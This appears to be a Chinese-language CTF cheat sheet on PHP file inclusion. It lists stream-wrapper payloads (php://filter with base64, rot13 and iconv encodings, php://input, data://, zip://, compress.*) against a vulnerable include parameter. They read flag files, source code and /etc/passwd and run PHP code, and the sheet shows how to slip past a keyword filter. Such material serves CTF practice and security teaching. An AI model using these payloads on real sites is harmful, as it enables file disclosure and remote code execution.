常见读取源码的file,php://filter和各种编码
还有执行php的 php://input和各种编码,data
在进行文件包含之前,先定位一下 Flag 文件的位置(这里可以使用工具扫)
or直接访问 /flag.php
文件,结果返回为空(因为不是 404,证明确实存在该文件):
尝试进行文件包含,直接包含 flag.php
的话,内容肯定会和我们直接访问一样,显示为空,所以我们需要对 flag.php
内容进行编码后再进行包含
1.file://协议
访问本地文件系统,在ctf中通常用来读取本地文件
路径+文件名
file:///etc/passwd
2.php://input:
php://input ,data://用来执行命令
1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
php://filter,file://用来读取文件
3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
3.php://filter:存在字符过滤
php://filter php中独有的协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;
filter:这个协议可以用来过滤一些东西;
不同的参数
read参数和resource参数,
当然还可以用write参数,这时我们可以通过指定写的方式来对文件进行一些改变;
(1)String Filters(字符串过滤器)
php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,
vs html只有标签会被去除,里面的文字不会删除【闭合了】
(2)Conversion Filters(转换过滤器)
php://filter/convert.base64-encode/resource=flag.php //base64加密读出
php://filter/convert.quoted-printable-encode/resource=flag.php
convert.iconv.*:用法:
<input-encoding>和<output-encoding> 就是编码方式,有如下几种:
PHP: Supported Character Encodings - Manual
做成字典爆破:
/?filename=php://filter/convert.iconv.CP1252.UTF-32%2a/resource=flag.php
data://协议
php>=5.2.0
可以使用data://数据流封装器,以传递【相应格式】的数据
执行php代码:
data://text/plain, ???
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
zip:// & bzip:// & zlib:// 协议
可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名
payload:
php://filter/zlib.deflate|zlib.inflate/resource=flag.php //zlib.deflate(压缩)|zlib.inflate(解压)
or
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php //bzip2.compress(压缩)|bzip2.decompress(解压)or
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)
压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
iconv函数
完成各种字符集间的转换
$string = "XXXX";
iconv("utf8","gbk",$string) //将字符串string 编码由utf8转变成gbk;
直接访问check.php这个文件里面的内容
/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php
如果使用括号里面的编码参数会直接提示do not hack!
查看flag.php
注意伪协议里面的编码使用:/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php